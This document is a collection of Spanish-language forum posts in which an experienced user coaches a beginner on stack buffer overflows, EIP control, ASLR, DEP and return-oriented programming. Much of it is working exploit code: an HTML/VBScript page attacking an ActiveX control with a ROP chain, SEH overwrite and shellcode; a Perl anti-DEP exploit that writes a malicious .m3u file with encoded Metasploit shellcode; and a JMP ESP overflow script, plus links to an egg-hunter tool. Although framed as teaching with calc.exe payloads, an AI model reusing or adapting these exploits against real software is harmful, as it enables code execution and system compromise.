Mal hábito, aunque hay casos en donde se intenta ocultar la versión original del servidor, enviando etiquetas falsas para despistar a hackers, o en otra ocasiones la versión tiene parches, saludos.

Creo que te estás enredando y confundiendo tu mismo, debes ir paso a paso y estas haciendo preguntas que con tu nivel de conocimiento, tanto una respuesta bien detallada te llevara a confundirte más y generará más preguntas, un círculo vicioso recursivo.

Yo no soy partidiario de que las cosas son así por que sí, pero intenta de buscar otro plan estratégico estás mirando desde abajo hacia arriba y te está cayendo mucho conocimiento desde el cielo, el cual no es necesario en este momento y solo te llevará a sentirte una hormiga que no sabe absolutamente nada.

---

Debes entender lo siguiente, un desbordamiento de pila consiste en modificar el flujo normal de un programa a través de un código mal formado (para el programa) capas de modificar el Instruction Counter/Program Counter en Intel este valor lo posee un registro que se llama EIP. Para modificar EIP debes hacer que el programa recupere el valor de una CALL, ya que como te comenté cuando se llama a una CALL se debe dejar en la pila la dirección de retorno, o si no el programa nunca sabrá donde retornar una vez ejecutada las instrucciones de la call.



Buffer Overflow


Es una metáfora y debes tenerlo así mentalizado, no es el momento que aprendas los alineamientos, los marco de pilas, como se reserva espacio en el stack para trabajar con variables locales, etc. NO!

Una vez que lograste modificar el PC, requieres redireccionar el programa hacia tu payload o código de carga que se encargará de hacer lo que tu desees, ¿en donde está?, en la pila, para ello debes utilizar instrucciones que se encarguen de direccionar el flujo hacia la pila, y aquí no es siempre JMP ESP, tal como comenta soez la limitación del salto hacia el stack es TU IMAGINACIÓN, no debes seguir al pie de la letra el tutorial, si no entiendes mucho está bien pero hay variables, partiendo por las direcciones de los SO Windows, por ello el tutorial es una referencia a como actuar.



Un poco de instrucciones. En Windows las direcciones de memoria varían de acuerdo a la versión del sistema operativo, esto provoca que si tomas una dirección de una API/función, lo más probable es que esta no esté. Aquí viene lo que se denomina instrucciones seguras o confiables y las no confiables.

Si ignoramos todo mecanismo de protección, te recomiendo que utilices direcciones del programa, pero ¿cómo lo harás?, sencillo buscas las dll que hayan sido cargadas por el programa, inclusive el mismo programa podría ser utilizado, aunque no es muy recomendable a causa de que generalmente el ImageBase (dirección base de las dirección) contiene bytes nulos 0040xxxx por lo cual si estás explotando un buffer de string, estos se terminan con byte nulos, podría utilizarse si fuese el último parámetro en desbordar. Ahora estas direcciones no cambiarán ya que son direcciones del programa la única manera que cambie es que haya una actualización de esta de forma extrema, es decir cambiar casi todos sus módulos, etc, cosa que para ello deberías crear un nuevo explot, ahora que sabes que dirección es confiable y que no ya puedes usar un criterio. Ahora que JMP ESP no cambia, eso no se a que te refieres, las direcciones apuntan a instrucciones o buffer de datos, si estas direcciones son confiables, siempre deberían apuntar al mismo conjunto de instrucciones o buffer, por ello usar siempre direcciones del programa.

Ahora hablemos de ASLR Address space layout randomization, esto modifica el Image Base siempre cuando el módulo lo permita si mal no me equivoco es una bandera 0x40 activada, que se activa con el compilador visual studio con un parámetro, no recuerdo exactamente, esto cada vez que se reinicie el equipo el Image Base se modificará por lo cual no podrás tener direcciones confiables, para ello como solución es trabajar con módulos sin ASLR, puedes usar plugins en el depurar que se encargan de listar las protecciones de compilación y enlace que poseen. Si todos los módulos están protegidos por ASLR, podrías basarte en la predicción del heap o montículo, esta técnica se llama heap spraying pero vez? no puedes aprender todo este en un simple post, debes leer y plantear tus dudas putuales del capítulo y toma sorbos de apoco quizás te termines quemando.

Si tienes nuevas dudas, por favor hace un nuevo tema con la pregunta específica, este post solamente tiene un surtido de dudas que dificultan al lector.

Duda nueva puntual, post nuevo puntual con la pregunta.

Yo desisto de ayudarte más si no sigues las reglas que te he planteado

---

a por cierto si no sabes ASM, no puedes aprender sobre exploit, sin tampoco decir que debes aprender Ingeniería inversa,ya que sin ella no podrás encontrar los fallos del programa y ataque remoto siempre se podrá si el puerto está abierto y es vulnerable, ahora el payload puede que sea detectado, esos sistemas de protección se llaman Antivirus y firewall, ahora pueden haber otros mecanismos que deben basarse en el análisis o comportamiento de un programa, pero desconozco sobre ellos.

Si deseas aprender ensamblador hice un resumen hace unos años:
http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf

Saludos

Siiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii muchas gracias me ahorraste de tener un código de tres metros de ancho, te debo una, saludos

Hola a todos tengo el siguiente código pero no logro hacer que quede en líneas diferentes, a ver si me guían, saludos (es exactamente en payload):

<html>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target'></object>
<script language='vbscript'>
junk1 = String(72, "A")
junk2 = String(3184, "B")
junk3 = String(25000, "C")
 
nop1 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop2 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop3 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop4 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop5 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop6 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop7 = unescape("%0c%11%44%06") ' SSHelper.dll | RETN
nop = nop1 + nop2 + nop3 + nop4 + nop5 + nop6 + nop7
 
rop1 = unescape("%33%b6%44%06")	' SSHelper.dll | POP EBP / RETN
rop2 = unescape("%10%c0%1f%06") ' SSHelper.dll
rop3 = unescape("%65%b9%47%06") ' SSHelper.dll | MOV EDX,EBP / POP EDI / POP ESI / POP EBP / POP EBX / POP ECX / RETN
rop4 = unescape("%51%a5%45%06") ' SSHelper.dll | CALL EAX
rop5 = unescape("%ff%ff%ff%ff") ' 0xFFFFFFFF
rop6 = unescape("%6c%c4%24%23") ' 0x2324C46C
rop7 = unescape("%49%cc%ba%f9") ' 0xF9BACC49
rop8 = unescape("%aa%aa%aa%aa") ' 0xAAAAAAAA
rop9 = unescape("%6b%28%44%06")	' SSHelper.dll | XCHG EAX,EBP / RETN
rop10 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
rop11 = unescape("%6b%28%44%06") ' SSHelper.dll | XCHG EAX,EBP / RETN
rop12 = unescape("%0e%37%45%06") ' SSHelper.dll | MOV EAX,0x64536B7 / RETN
rop13 = unescape("%d9%c4%47%06") ' SSHelper.dll | ADD EBX,EAX / PUSH 0x1 / POP EAX / RETN
rop14 = unescape("%05%67%47%06") ' SSHelper.dll | POP EAX / RETN
rop15 = unescape("%b0%c3%24%23") ' 0x2324C3B0
rop16 = unescape("%ff%4b%46%06") ' SSHelper.dll | ADD EAX,0x595B5E5F / RETN
rop17 = unescape("%71%03%4a%06") ' SSHelper.dll | PUSHAD / ADD AL,0x0 / RETN
ROPgadgets = nop + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8 + rop9 + rop10 + rop11 + rop12 + rop13 + rop14 + rop15 + rop16 + rop17
 
SEH = unescape("%13%16%47%06") ' SSHelper.dll | ADD ESP,0x46C
 
payload =unescape(
"%fc%e8%89%00%00%00%60%89%e5%31%d2%64%8b%52" & _
"%30%8b%52%0c%8b%52%14%8b%72%28%0f%b7%4a%26" & _
"%31%ff%31%c0%ac%3c%61%7c%02%2c%20%c1%cf%0d" & _
"%01%c7%e2%f0%52%57%8b%52%10%8b%42%3c%01%d0" & _
"%8b%40%78%85%c0%74%4a%01%d0%50%8b%48%18%8b" & _
"%58%20%01%d3%e3%3c%49%8b%34%8b%01%d6%31%ff" & _
"%31%c0%ac%c1%cf%0d%01%c7%38%e0%75%f4%03%7d" & _
"%f8%3b%7d%24%75%e2%58%8b%58%24%01%d3%66%8b" & _
"%0c%4b%8b%58%1c%01%d3%8b%04%8b%01%d0%89%44" & _
"%24%24%5b%5b%61%59%5a%51%ff%e0%58%5f%5a%8b" & _
"%12%eb%86%5d%6a%01%8d%85%b9%00%00%00%50%68" & _
"%31%8b%6f%87%ff%d5%bb%f0%b5%a2%56%68%a6%95" & _
"%bd%9d%ff%d5%3c%06%7c%0a%80%fb%e0%75%05%bb" & _
"%47%13%72%6f%6a%00%53%ff%d5%63%61%6c%63%2e" & _
"%65%78%65%00")
 
arg1 = 1
arg2 = 1
arg3 = junk1 + ROPgadgets + junk2 + SEH + payload + junk3
arg4 = "defaultV"
arg5 = "defaultV"
target.SetRegString arg1, arg2, arg3, arg4, arg5
</script>
</html>

Si mal no me equivoco el compilador realiza un proceso llamado re-alineamiento, en donde se alinean los bytes en 4, no recuerdo muy bien pero en palabras simples el número de A para generar el desbordamiento no será uno más que el el tamaño del buffer establecido en el código de fuente.

No creo que hayas terminado el tutorial de corelan son 400 páginas, imposible, quizás el nº 1 pero todas las demás no, recuerda que lo que viene es de mucha utilidad, ya que te dejaré con intriga, pero te comento que ese exploit servirá puntualmente para XP, debes aprender sobre las protecciones y seguir adelante, saludos.

Aquí hice uno anti-dep aun así funciona en un sistema específico ya que utiliza direcciones de módulos del sistema, y aun así es complejo, es para el mismo programa que pusiste, saludos:

# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Author           = UND3R
 
my $file = "exploit.m3u";
my $junk = "\x41" x 26061;
my $align = "\x41" x 4;
my $eip = pack('V',0x7729f0a5); # urlmon.dll | RETN
my $rop1 = pack('V',0x58c3f678); # COMCTL32.dll | MOV ESI,ESP / RETN
my $rop2 = pack('V',0x77c0db6b); # msvcrt.dll | MOV EAX,ESI / RETN
my $rop3 = pack('V',0x77c21e53); # msvcrt.dll | ADD ESP,0x1C / RETN
# VirtualProtect(
my $VirtualProtect = pack('V',0x7c801ad0);
my $vaPayload = "AAAA";
my $arg1 = "BBBB";
my $arg2 = "CCCC";
my $arg3 = "DDDD";
my $arg4 = pack('V',0x10035010); # MSRMfilter03.dll
# );
my $rop4 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop5 = pack('V',0x7Cbaa4cb); # SHELL32.dll | MOV EAX,ECX / RETN
my $rop6 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop7 = pack('V',0x774d8cd4); # ole32.dll | ADD EAX,0x64 / RETN
my $rop8 = pack('V',0x58c38371); # COMCTL32.dll | XCHG EAX,ESI / RETN
my $rop9 = pack('V',0x77bef2c1); # msvcrt.dll | ADD EAX,0x08 / RETN
my $rop10 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop11 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop12 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop13 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop14 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop15 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop16 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop17 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop18 = pack('V',0x3bfffbdc); # 3BFFFBDC
my $rop19 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop20 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop21 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop22 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop23 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop24 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop25 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop26 = pack('V',0x7c91eb79); # ntdll.dll | POP EBP / RETN
my $rop27 = pack('V',0x3bfffb54); # 3BFFFB54
my $rop28 = pack('V',0x7724105d); # urlmon.dll | XCHG EAX,EBP / RETN
my $rop29 = pack('V',0x7ca637e5); # SHELL32.dll | SUB EAX,0x3BFFFB14 / RETN
my $rop30 = pack('V',0x775cb360); # ole32.dll | XCHG EAX,ESI / RETN
my $rop31 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop32 = pack('V',0x774dce7c); # ole32.dll | ADD EAX,0x04 / RETN
my $rop33 = pack('V',0x58c39512); # COMCTL32.dll | XCHG EAX,EDX / RETN
my $rop34 = pack('V',0x77a92a0b); # CRYPT32.dll | MOV DWORD PTR DS:[EDX],ESI / RETN
my $rop35 = pack('V',0x774ce0c8); # ole32.dll | XCHG EAX,ECX / RETN
my $rop36 = pack('V',0x73d95858); # MFC42.DLL | PUSH EAX / POP ESP / POP EDI / POP ESI / RETN
 
my $ROPgadgets = $align . $rop1 . $rop2 . $rop3 . $VirtualProtect . $vaPayload . $arg1 . $arg2 .$arg3 . $arg4 . $align . $rop4 . $rop5 . $rop6 . $rop7 . $rop8 . $rop9 . $rop10 . $rop11 . $rop12 . $rop13 . $rop14 . $rop15 . $rop16 . $rop17 . $rop18 . $rop19 . $rop20 . $rop21 . $rop22 . $rop23 . $rop24 . $rop25 . $rop26 . $rop27 . $rop28 . $rop29 . $rop30 . $rop31 . $rop32 . $rop33 . $rop34 . $rop35 . $rop36;
 
my $nop = "\x90" x 40;
my $payload =
# msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t perl
"\x89\xe0\xda\xc4\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x4d\x59\x43\x30\x43\x30\x35\x50\x53\x50\x4c\x49\x5a" .
"\x45\x30\x31\x38\x52\x45\x34\x4c\x4b\x51\x42\x50\x30\x4c" .
"\x4b\x56\x32\x34\x4c\x4c\x4b\x56\x32\x54\x54\x4c\x4b\x33" .
"\x42\x31\x38\x44\x4f\x4e\x57\x31\x5a\x36\x46\x36\x51\x4b" .
"\x4f\x56\x51\x4f\x30\x4e\x4c\x57\x4c\x53\x51\x43\x4c\x43" .
"\x32\x36\x4c\x57\x50\x49\x51\x48\x4f\x44\x4d\x53\x31\x4f" .
"\x37\x5a\x42\x4a\x50\x51\x42\x56\x37\x4c\x4b\x46\x32\x44" .
"\x50\x4c\x4b\x47\x32\x37\x4c\x55\x51\x38\x50\x4c\x4b\x51" .
"\x50\x54\x38\x4d\x55\x4f\x30\x53\x44\x50\x4a\x53\x31\x58" .
"\x50\x56\x30\x4c\x4b\x50\x48\x35\x48\x4c\x4b\x36\x38\x37" .
"\x50\x35\x51\x59\x43\x4d\x33\x37\x4c\x57\x39\x4c\x4b\x36" .
"\x54\x4c\x4b\x33\x31\x38\x56\x36\x51\x4b\x4f\x46\x51\x49" .
"\x50\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x53\x31\x48\x47\x56" .
"\x58\x4b\x50\x33\x45\x5a\x54\x45\x53\x43\x4d\x4c\x38\x57" .
"\x4b\x33\x4d\x36\x44\x33\x45\x4d\x32\x30\x58\x4c\x4b\x36" .
"\x38\x57\x54\x53\x31\x4e\x33\x53\x56\x4c\x4b\x54\x4c\x30" .
"\x4b\x4c\x4b\x50\x58\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54" .
"\x44\x4c\x4b\x55\x51\x58\x50\x4d\x59\x50\x44\x47\x54\x47" .
"\x54\x51\x4b\x51\x4b\x45\x31\x51\x49\x30\x5a\x36\x31\x4b" .
"\x4f\x4b\x50\x50\x58\x31\x4f\x51\x4a\x4c\x4b\x42\x32\x4a" .
"\x4b\x4d\x56\x51\x4d\x33\x5a\x35\x51\x4c\x4d\x4c\x45\x4f" .
"\x49\x53\x30\x55\x50\x35\x50\x56\x30\x43\x58\x36\x51\x4c" .
"\x4b\x52\x4f\x4b\x37\x4b\x4f\x39\x45\x4f\x4b\x5a\x50\x48" .
"\x35\x59\x32\x46\x36\x52\x48\x49\x36\x5a\x35\x4f\x4d\x4d" .
"\x4d\x4b\x4f\x58\x55\x57\x4c\x34\x46\x53\x4c\x55\x5a\x4d" .
"\x50\x4b\x4b\x4d\x30\x33\x45\x34\x45\x4f\x4b\x37\x37\x34" .
"\x53\x54\x32\x42\x4f\x52\x4a\x43\x30\x46\x33\x4b\x4f\x38" .
"\x55\x45\x33\x43\x51\x52\x4c\x42\x43\x56\x4e\x52\x45\x42" .
"\x58\x52\x45\x55\x50\x41\x41";
 
my $exploit = $junk . $eip . $ROPgadgets . $nop . $payload;
 
open($file, ">$file");
print $file $exploit;
close($file);
 
print "Archivo " . $file . " creado correctamente.";

Yo quería ser astronauta entré a un foro le pedí ayuda a Neil Armstrong, y me dijo todo lo que tenía que hacer para ser un astronauta, no sé como el smf aguantó tantos  caracteres pero fue genial si yo pude tu también, saludos.


Enviado Desde Apolo11

Tienes muchas pero muchas creo que para que puedas solventarlas todas es mejor que leas los tutoriales de corelan, me imagino que sabes que están en español, si no es así:
http://ricardonarvaja.info/WEB/buscador.php
busca por corelan

creeme que en este tutorial te explica todo y el por qué que es lo más importante ya que sin ese por qué no podrás aplicar lo aprendido en otras aplicaciones.

En cuanto a EIP es sobre escrito debido a que nosotros estamos pulverizando el marco de pila, ya que acuérdate que cuando se realiza una CALL, El primer valor de la pila apunta al retorno de esta, lo cual después de que la call hace sus operaciones recupera tal valor para retornar:
push ebp
mov ebp,esp
...
..
...
leave (mov esp,ebp / pop ebp)
retn x (limpieza de la pila)

La idea es que en el punto de retornar como escribimos más allá del marco de pila controlaremos el flujo del programa, en si todo el detalle te lo dará el tutorial, el de Rojodos es un buen tutorial una buena idea pero no puedes compararlo a algo que tiene imágenes y son 12 tutoriales dando unas 400 páginas diría promedio, saludos y buena aventura.

Con este debería funcionar:
http://www.mediafire.com/download/rcf20dct9pntl3l/vuln1.exe

Como te comenté usa Dev-C++ ya que visual studio por defecto introduce muchos mecanismos de protección los cuales para comenzar no te los recomiendo, solo estás probando la idea verdad?

además agregar que eso de pasar los argumentos a través de OllyDbg no funcionará muy bien ya que acuérdate que al momento de introducir la shellcode o payload esta tendrá caracteres no imprimibles por lo cual quizás no reciba los argumentos que tu pensabas, te dejo mi código en Perl que genera el crash:

# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language         = Spanish
# Author           = UND3R
 
my $file = "vuln1";
my $junk = "\x41" x 76;
my $eip = pack('V',0x7c951eed); # ntdll.dll | JMP ESP
my $nop = "\x90" x 20;
my $payload =
"\x43" x 50;
 
my $exploit = $junk . $eip . $nop . $payload;
 
print "Enviando argumentos a " . $file . " ...\n";
system($file, $exploit);
if ( $? == -1 ) {
  print "Error en el comando: $!\n";
}else {
  print "Argumento enviado correctamente.\n";
}

Es la idea ya que el payload simplemente contiene letras C aquí debería ir la shellcode, de todas maneras se limita mucho el tamaño cuidado que si el tamaño es muy gran se cierra y no puedes explotar el fallo.

Saludos

Parece gran cosa, pero no hace mucho les comento:
- Re-leyendo los tutoriales de corelan siempre me molestó la parte de utilizar esta herramienta ya que presentaba algunos problemas, en donde corelan propuso como solución modificar el código asm el buscador de huevos (omelet_shellcode), el problema ocurre que esta modificación se debía hacer dependiendo de la cantidad de huevos por lo que se me ocurrió por así decir hacer un omelet_shellcode genérico y en base a la cantidad de huevos que se generarán con w32_SEH_omelet.py adaptará el código de salida.

pasos anteriores a la modificación:
1.- ensamblar a binario con nasm w32_SEH_omelet.asm
2.- ejecutar la secuencia 3.- de acuerdo a la cantidad de huevos generados modificar la constante egg_size ubicada dentro de w32_SEH_omelet.asm y volver al paso 1
4.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

pasos con el fixed:
1.- 2.- revisar si el manejador SEH del omelet controla las excepciones al buscar en memoria, en caso contrario modificar EDI para que apunte a una dirección válida a buscar.

No es gran cosa, pero nada mejor que no tener que estar ensamblando cada vez que estemos armando un omelet.

Descarga:
http://www.mediafire.com/download/q5c0gbi55x91cv2/w32+SEH+omelet+shellcode+v0.2+fixed+by+UND3R.rar

Bueno no tiene que por qué ser obligatorio que armitage siempre te arroje un exploit funcional para que luego tu presiones un botón y seas hacker 

Armitage utiliza los exploits de metasploit pero de forma discriminada de acuerdo al objetivo al cual lances el exploit, por lo cual si quieres probar armitage debes hacer lo siguiente:

- Conseguir un sesion (da igual si es meterpreter, reverse tpc, etc) bajo metasploit de un equipo que sea vulnerable, podrías instalar Windows XP SP2 sin ningún update, no me manejo mucho en la cronología de los exploit según el SO y su versión.

- Ya con la sesion meterpreter, ahora pruebas el poder de optimización de armitage, es decir la capacidad principal de armitage es que te da la posibilidad de tomar por ti la decisión de que exploit intentar lanzar.

Ahora si quieres un exploit 100% funcional, nada mejor que hacerlo tu mismo sin metasploit o armitage, luego si quieres lo pasas a metasploit, eso ya va en los gusto de cada uno.

Saludos